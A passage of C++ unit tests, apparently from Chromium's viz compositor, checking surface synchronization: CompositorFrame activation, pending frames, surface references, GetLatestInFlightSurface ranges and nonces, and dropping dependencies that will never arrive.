EXPECT_FALSE(display_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->has_deadline()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->has_deadline()); } // This test verifies that no crash occurs if a CompositorFrame activates AFTER // its FrameSink has been destroyed. TEST_F(SurfaceSynchronizationTest, FrameActivationAfterFrameSinkDestruction) { const SurfaceId display_id = MakeSurfaceId(kDisplayFrameSink, 1); const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_FALSE(parent_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); // Submit a CompositorFrame that refers to to |parent_id|. display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), {SurfaceRange(parent_id)}, std::vector<TransferableResource>())); EXPECT_FALSE(display_surface()->has_deadline()); EXPECT_FALSE(display_surface()->HasPendingFrame()); EXPECT_TRUE(display_surface()->HasActiveFrame()); EXPECT_THAT(GetChildReferences(display_id), UnorderedElementsAre(parent_id)); // Submit a new CompositorFrame to the parent CompositorFrameSink. It should // now have a pending and active CompositorFrame. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id}, empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); surface_observer().Reset(); // Destroy the parent CompositorFrameSink. The parent_surface will be kept // alive by the display. DestroyFrameSink(kParentFrameSink); // The parent surface stays alive through the display. Surface* parent_surface = GetSurfaceForId(parent_id); EXPECT_NE(nullptr, parent_surface); // Submitting a new CompositorFrame to the display should free the parent. display_support().SubmitCompositorFrame(display_id.local_surface_id(), MakeDefaultCompositorFrame()); frame_sink_manager().surface_manager()->GarbageCollectSurfaces(); parent_surface = GetSurfaceForId(parent_id); EXPECT_EQ(nullptr, parent_surface); } TEST_F(SurfaceSynchronizationTest, PreviousFrameSurfaceId) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); // Submit a frame with no dependencies to |parent_id1|. parent_support().SubmitCompositorFrame( parent_id1.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); // Submit a frame with unresolved dependencies to |parent_id2|. The frame // should become pending and previous_frame_surface_id() should return // |parent_id1|. parent_support().SubmitCompositorFrame( parent_id2.local_surface_id(), MakeCompositorFrame({child_id}, empty_surface_ranges(), std::vector<TransferableResource>())); Surface* parent_surface2 = frame_sink_manager().surface_manager()->GetSurfaceForId(parent_id2); EXPECT_FALSE(parent_surface2->HasActiveFrame()); EXPECT_TRUE(parent_surface2->HasPendingFrame()); // Activate the pending frame in |parent_id2|. previous_frame_surface_id() // should still return |parent_id1|. parent_surface2->ActivatePendingFrameForDeadline(); EXPECT_TRUE(parent_surface2->HasActiveFrame()); EXPECT_FALSE(parent_surface2->HasPendingFrame()); EXPECT_EQ(parent_id1, parent_surface2->previous_frame_surface_id()); } TEST_F(SurfaceSynchronizationTest, FrameIndexWithPendingFrames) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); constexpr int n_iterations = 7; // Submit a frame with no dependencies that will activate immediately. Record // the initial frame index. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); Surface* parent_surface = frame_sink_manager().surface_manager()->GetSurfaceForId(parent_id); uint64_t initial_frame_index = parent_surface->GetActiveFrameIndex(); // Submit frames with unresolved dependencies. GetActiveFrameIndex should // return the same value as before. for (int i = 0; i < n_iterations; i++) { parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_EQ(initial_frame_index, parent_surface->GetActiveFrameIndex()); } // Activate the pending frame. GetActiveFrameIndex should return the frame // index of the newly activated frame. parent_surface->ActivatePendingFrameForDeadline(); EXPECT_EQ(initial_frame_index + n_iterations, parent_surface->GetActiveFrameIndex()); } // This test verifies that a new surface with a pending CompositorFrame gets // a temporary reference immediately, as opposed to when the surface activates. TEST_F(SurfaceSynchronizationTest, PendingSurfaceKeptAlive) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); // |parent_id| depends on |child_id1|. It shouldn't activate. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_TRUE(HasTemporaryReference(parent_id)); } // Tests getting the correct active frame index. TEST_F(SurfaceSynchronizationTest, ActiveFrameIndex) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1, child_id2}, empty_surface_ranges(), std::vector<TransferableResource>())); // parent_support is blocked on |child_id1| and |child_id2|. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_EQ(0u, parent_surface()->GetActiveFrameIndex()); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); uint64_t expected_index = CompositorFrameSinkSupport::kFrameIndexStart; EXPECT_EQ(expected_index, parent_surface()->GetActiveFrameIndex()); } // This test verifies that SurfaceManager::GetLatestInFlightSurface returns // the latest child surface not yet set as a fallback by the parent. // Alternatively, it returns the fallback surface specified, if no tempoary // references to child surfaces are available. This mechanism is used by surface // synchronization to present the freshest surfaces available at aggregation // time. TEST_F(SurfaceSynchronizationTest, LatestInFlightSurface) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); const SurfaceId child_id3 = MakeSurfaceId(kChildFrameSink1, 2, 2); const SurfaceId child_id4 = MakeSurfaceId(kChildFrameSink1, 2, 3); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>())); // Verify that the child CompositorFrame activates immediately. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); // Verify that the parent Surface has activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); // Verify that there is a temporary reference for the child and there is // no reference from the parent to the child yet. EXPECT_TRUE(HasTemporaryReference(child_id1)); EXPECT_THAT(GetChildReferences(parent_id), IsEmpty()); EXPECT_EQ(GetSurfaceForId(child_id1), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id2))); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), {SurfaceRange(child_id1)}, std::vector<TransferableResource>())); // Verify that the parent Surface has activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); // Verify that there is no temporary reference for the child and there is // a reference from the parent to the child. EXPECT_FALSE(HasTemporaryReference(child_id1)); EXPECT_THAT(GetChildReferences(parent_id), UnorderedElementsAre(child_id1)); EXPECT_EQ(GetSurfaceForId(child_id1), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id2))); // Submit a child CompositorFrame to a new SurfaceId and verify that // GetLatestInFlightSurface returns the right surface. child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that there is a temporary reference for child_id2 and there is // a reference from the parent to child_id1. EXPECT_TRUE(HasTemporaryReference(child_id2)); EXPECT_THAT(GetChildReferences(parent_id), UnorderedElementsAre(child_id1)); EXPECT_EQ(GetSurfaceForId(child_id2), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id3))); // If the primary surface is old, then we shouldn't return an in-flight // surface that is newer than the primary. EXPECT_EQ(GetSurfaceForId(child_id1), GetLatestInFlightSurface(SurfaceRange(child_id1))); // Submit a child CompositorFrame to a new SurfaceId and verify that // GetLatestInFlightSurface returns the right surface. child_support1().SubmitCompositorFrame(child_id3.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that there is a temporary reference for child_id3. EXPECT_TRUE(HasTemporaryReference(child_id3)); EXPECT_EQ(GetSurfaceForId(child_id3), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id4))); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id3}, {SurfaceRange(base::nullopt, child_id3)}, std::vector<TransferableResource>())); EXPECT_THAT(GetChildReferences(parent_id), UnorderedElementsAre(child_id3)); // If the primary surface is active, we return it. EXPECT_EQ(GetSurfaceForId(child_id3), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id3))); } // This test verifies that GetLatestInFlightSurface will return nullptr when the // start of the range is newer than its end, even if a surface matching the end // exists. TEST_F(SurfaceSynchronizationTest, LatestInFlightSurfaceWithInvalidSurfaceRange) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>())); // Verify that the parent and child CompositorFrames are active. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); const SurfaceId bogus_child_id = MakeSurfaceId(kChildFrameSink1, 10); // The end exists but don't return it because the start is newer than the end. EXPECT_EQ(nullptr, GetLatestInFlightSurface(SurfaceRange(bogus_child_id, child_id1))); // In this case, the end doesn't exist either. Still return nullptr. EXPECT_EQ(nullptr, GetLatestInFlightSurface(SurfaceRange(bogus_child_id, child_id2))); } // This test verifies that GetLatestInFlightSurface will return the primary or // nullptr if fallback is not specified. // TODO(akaba): this would change after https://crbug.com/861769 TEST_F(SurfaceSynchronizationTest, LatestInFlightSurfaceWithoutFallback) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that |child_id1| is active. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id2}, {SurfaceRange(child_id1, child_id2)}, std::vector<TransferableResource>())); // Verify that the |parent_id| is not active yet. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id2)); // Verify that |child_id1| is the latest active surface. EXPECT_EQ(GetSurfaceForId(child_id1), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id2))); // Fallback is not specified and |child_id1| is the latest. EXPECT_EQ(GetSurfaceForId(child_id1), GetLatestInFlightSurface(SurfaceRange(base::nullopt, child_id2))); // Activate |child_id2| child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that child2 is active. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); // Verify that |child_id2| is the latest active surface. EXPECT_EQ(GetSurfaceForId(child_id2), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id2))); // Fallback is not specified but primary exists so we return it. EXPECT_EQ(GetSurfaceForId(child_id2), GetLatestInFlightSurface(SurfaceRange(base::nullopt, child_id2))); } // This test verifies that GetLatestInFlightSurface will not return null if the // fallback is garbage collected, but instead returns the latest surface older // than primary if that exists. TEST_F(SurfaceSynchronizationTest, LatestInFlightSurfaceWithGarbageFallback) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); const SurfaceId child_id3 = MakeSurfaceId(kChildFrameSink1, 3); const SurfaceId child_id4 = MakeSurfaceId(kChildFrameSink1, 4); // Activate |child_id1|. child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that |child_id1| CompositorFrames is active. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); EXPECT_TRUE(HasTemporaryReference(child_id1)); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), {SurfaceRange(child_id1)}, std::vector<TransferableResource>())); // Verify that parent is referencing |child_id1|. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); EXPECT_THAT(parent_surface()->active_referenced_surfaces(), UnorderedElementsAre(child_id1)); EXPECT_FALSE(HasTemporaryReference(child_id1)); // Activate |child_id2|. child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that |child_id2| CompositorFrames is active and it has a temporary // reference. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); EXPECT_TRUE(HasTemporaryReference(child_id2)); // Activate |child_id3|. child_support1().SubmitCompositorFrame(child_id3.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that |child_id3| CompositorFrames is active. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); EXPECT_TRUE(HasTemporaryReference(child_id3)); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), {SurfaceRange(child_id2)}, std::vector<TransferableResource>())); // Verify that parent is referencing |child_id2| which lost its temporary // reference, but |child_id3| still has a temporary reference. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); EXPECT_THAT(parent_surface()->active_referenced_surfaces(), UnorderedElementsAre(child_id2)); EXPECT_FALSE(HasTemporaryReference(child_id2)); EXPECT_TRUE(HasTemporaryReference(child_id3)); // Garbage collect |child_id1|. frame_sink_manager().surface_manager()->GarbageCollectSurfaces(); // Make sure |child_id1| is garbage collected. EXPECT_EQ(frame_sink_manager().surface_manager()->GetSurfaceForId(child_id1), nullptr); EXPECT_EQ(GetSurfaceForId(child_id3), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id4))); } // This test verifies that in the case of different frame sinks // GetLatestInFlightSurface will return the latest surface in the primary's // FrameSinkId or the latest in the fallback's FrameSinkId if no surface exists // in the primary's. TEST_F(SurfaceSynchronizationTest, LatestInFlightSurfaceDifferentFrameSinkIds) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); const SurfaceId child_id3 = MakeSurfaceId(kChildFrameSink2, 1); const SurfaceId child_id4 = MakeSurfaceId(kChildFrameSink2, 2); // Activate |child_id1|. child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Activate |child_id2|. child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id4}, {SurfaceRange(child_id1, child_id4)}, std::vector<TransferableResource>())); // Primary's frame sink id empty and |child_id2| is the latest in fallback's // frame sink. EXPECT_EQ(GetSurfaceForId(child_id2), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id4))); // Activate |child_id3| which is in different frame sink. child_support2().SubmitCompositorFrame(child_id3.local_surface_id(), MakeDefaultCompositorFrame()); // |child_id3| is the latest in primary's frame sink. EXPECT_EQ(GetSurfaceForId(child_id3), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id4))); } // This test verifies that GetLatestInFlightSurface will return the // primary surface ID if it is in the temporary reference queue. TEST_F(SurfaceSynchronizationTest, LatestInFlightSurfaceReturnPrimary) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); const SurfaceId child_id3 = MakeSurfaceId(kChildFrameSink1, 3); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Create a reference from |parent_id| to |child_id|. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), {SurfaceRange(child_id1)}, std::vector<TransferableResource>())); child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_EQ(GetSurfaceForId(child_id2), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id3))); child_support1().SubmitCompositorFrame(child_id3.local_surface_id(), MakeDefaultCompositorFrame()); // GetLatestInFlightSurface will return the primary surface ID if it's // available. EXPECT_EQ(GetSurfaceForId(child_id3), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id3))); } // This test verifies that GetLatestInFlightSurface can use persistent // references to compute the latest surface. TEST_F(SurfaceSynchronizationTest, LatestInFlightSurfaceUsesPersistentReferences) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); const SurfaceId child_id3 = MakeSurfaceId(kChildFrameSink1, 3); // Activate |child_id1|. child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // |child_id1| now should have a temporary reference. EXPECT_TRUE(HasTemporaryReference(child_id1)); EXPECT_TRUE(surface_manager() ->GetSurfacesThatReferenceChildForTesting(child_id1) .empty()); // Activate |child_id2|. child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); // |child_id2| now should have a temporary reference. EXPECT_TRUE(HasTemporaryReference(child_id2)); EXPECT_TRUE(surface_manager() ->GetSurfacesThatReferenceChildForTesting(child_id2) .empty()); // Create a reference from |parent_id| to |child_id2|. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), {SurfaceRange(child_id2)}, std::vector<TransferableResource>())); // |child_id1| have no references and can be garbage collected. EXPECT_FALSE(HasTemporaryReference(child_id1)); EXPECT_TRUE(surface_manager() ->GetSurfacesThatReferenceChildForTesting(child_id1) .empty()); // |child_id2| has a persistent references now. EXPECT_FALSE(HasTemporaryReference(child_id2)); EXPECT_FALSE(surface_manager() ->GetSurfacesThatReferenceChildForTesting(child_id2) .empty()); // Verify that GetLatestInFlightSurface returns |child_id2|. EXPECT_EQ(GetSurfaceForId(child_id2), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id3))); } // This test verifies that GetLatestInFlightSurface will skip a surface if // its nonce is different. TEST_F(SurfaceSynchronizationTest, LatestInFlightSurfaceSkipDifferentNonce) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const base::UnguessableToken nonce1( base::UnguessableToken::Deserialize(0, 1)); const base::UnguessableToken nonce2( base::UnguessableToken::Deserialize(1, 1)); const base::UnguessableToken nonce3( base::UnguessableToken::Deserialize(2, 1)); const SurfaceId child_id1 = SurfaceId(kChildFrameSink1, LocalSurfaceId(1, nonce1)); const SurfaceId child_id2 = SurfaceId(kChildFrameSink1, LocalSurfaceId(2, nonce1)); const SurfaceId child_id3 = SurfaceId(kChildFrameSink1, LocalSurfaceId(3, nonce2)); const SurfaceId child_id4 = SurfaceId(kChildFrameSink1, LocalSurfaceId(4, nonce2)); const SurfaceId child_id5 = SurfaceId(kChildFrameSink1, LocalSurfaceId(5, nonce3)); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Create a reference from |parent_id| to |child_id|. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), {SurfaceRange(child_id1)}, std::vector<TransferableResource>())); child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_EQ(GetSurfaceForId(child_id2), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id4))); child_support1().SubmitCompositorFrame(child_id3.local_surface_id(), MakeDefaultCompositorFrame()); // GetLatestInFlightSurface will return child_id3 because the nonce // matches that of child_id4. EXPECT_EQ(GetSurfaceForId(child_id3), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id4))); // GetLatestInFlightSurface will return child_id2 because the nonce // doesn't match |child_id1| or |child_id5|. EXPECT_EQ(GetSurfaceForId(child_id2), GetLatestInFlightSurface(SurfaceRange(child_id1, child_id5))); } // This test verifies that if a child submits a LocalSurfaceId newer that the // parent's dependency, then the parent will drop its dependency and activate // if possible. In this version of the test, parent sequence number of the // activated surface is larger than that in the dependency, while the child // sequence number is smaller. TEST_F(SurfaceSynchronizationTest, DropDependenciesThatWillNeverArrive1) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id11 = MakeSurfaceId(kChildFrameSink1, 1, 2); const SurfaceId child_id12 = MakeSurfaceId(kChildFrameSink1, 2, 1); const SurfaceId child_id21 = MakeSurfaceId(kChildFrameSink2, 1); // |parent_id| depends on { child_id11, child_id21 }. It shouldn't activate. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id11, child_id21}, empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); // The first child submits a new CompositorFrame to |child_id12|. |parent_id| // no longer depends on |child_id11| because it cannot expect it to arrive. // However, the parent is still blocked on |child_id21|. child_support1().SubmitCompositorFrame( child_id12.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id21)); // Finally, the second child submits a frame to the remaining dependency and // the parent activates. child_support2().SubmitCompositorFrame( child_id21.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // This test verifies that if a child submits a LocalSurfaceId newer that the // parent's dependency, then the parent will drop its dependency and activate // if possible. In this version of the test, parent sequence number of the // activated surface is smaller than that in the dependency, while the child // sequence number is larger. TEST_F(SurfaceSynchronizationTest, DropDependenciesThatWillNeverArrive2) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id11 = MakeSurfaceId(kChildFrameSink1, 2, 1); const SurfaceId child_id12 = MakeSurfaceId(kChildFrameSink1, 1, 2); const SurfaceId child_id21 = MakeSurfaceId(kChildFrameSink2, 1); // |parent_id| depends on { child_id11, child_id21 }. It shouldn't activate. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id11, child_id21}, empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); // The first child submits a new CompositorFrame to |child_id12|. |parent_id| // no longer depends on |child_id11| because it cannot expect it to arrive. // However, the parent is still blocked on |child_id21|. child_support1().SubmitCompositorFrame( child_id12.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id21)); // Finally, the second child submits a frame to the remaining dependency and // the parent activates. child_support2().SubmitCompositorFrame( child_id21.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // This test verifies that a surface will continue to observe a child surface // until its dependency arrives. TEST_F(SurfaceSynchronizationTest, ObserveDependenciesUntilArrival) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id21 = MakeSurfaceId(kChildFrameSink1, 2, 1); const SurfaceId child_id22 = MakeSurfaceId(kChildFrameSink1, 2, 2); // |parent_id| depends on |child_id22|. It shouldn't activate. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id22}, empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); // The child submits to |child_id21|. The parent should not activate. child_support1().SubmitCompositorFrame( child_id21.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id22)); // The child submits to |child_id22|. The parent should activate. child_support1().SubmitCompositorFrame( child_id22.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // This test verifies that we don't mark the previous active surface for // destruction until the new surface activates. TEST_F(SurfaceSynchronizationTest, MarkPreviousSurfaceForDestructionAfterActivation) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId arbitrary_id = MakeSurfaceId(kArbitraryFrameSink, 1); // Submit a CompositorFrame that has no dependencies. parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the CompositorFrame has been activated. Surface* parent_surface1 = GetSurfaceForId(parent_id1); EXPECT_TRUE(parent_surface1->HasActiveFrame()); EXPECT_FALSE(parent_surface1->HasPendingFrame()); EXPECT_THAT(parent_surface1->activation_dependencies(), IsEmpty()); EXPECT_FALSE(IsMarkedForDestruction(parent_id1)); parent_support().SubmitCompositorFrame( parent_id2.local_surface_id(), MakeCompositorFrame({arbitrary_id}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); // Verify that the CompositorFrame to the new surface has not been activated. Surface* parent_surface2 = GetSurfaceForId(parent_id2); EXPECT_FALSE(parent_surface2->HasActiveFrame()); EXPECT_TRUE(parent_surface2->HasPendingFrame()); EXPECT_THAT(parent_surface2->activation_dependencies(), UnorderedElementsAre(arbitrary_id)); EXPECT_FALSE(IsMarkedForDestruction(parent_id1)); EXPECT_FALSE(IsMarkedForDestruction(parent_id2)); // Advance BeginFrames to trigger a deadline. for (int i = 0; i < 3; ++i) { SendNextBeginFrame(); EXPECT_TRUE(parent_surface2->has_deadline()); } SendNextBeginFrame(); EXPECT_FALSE(parent_surface2->has_deadline()); // Verify that the CompositorFrame has been activated. 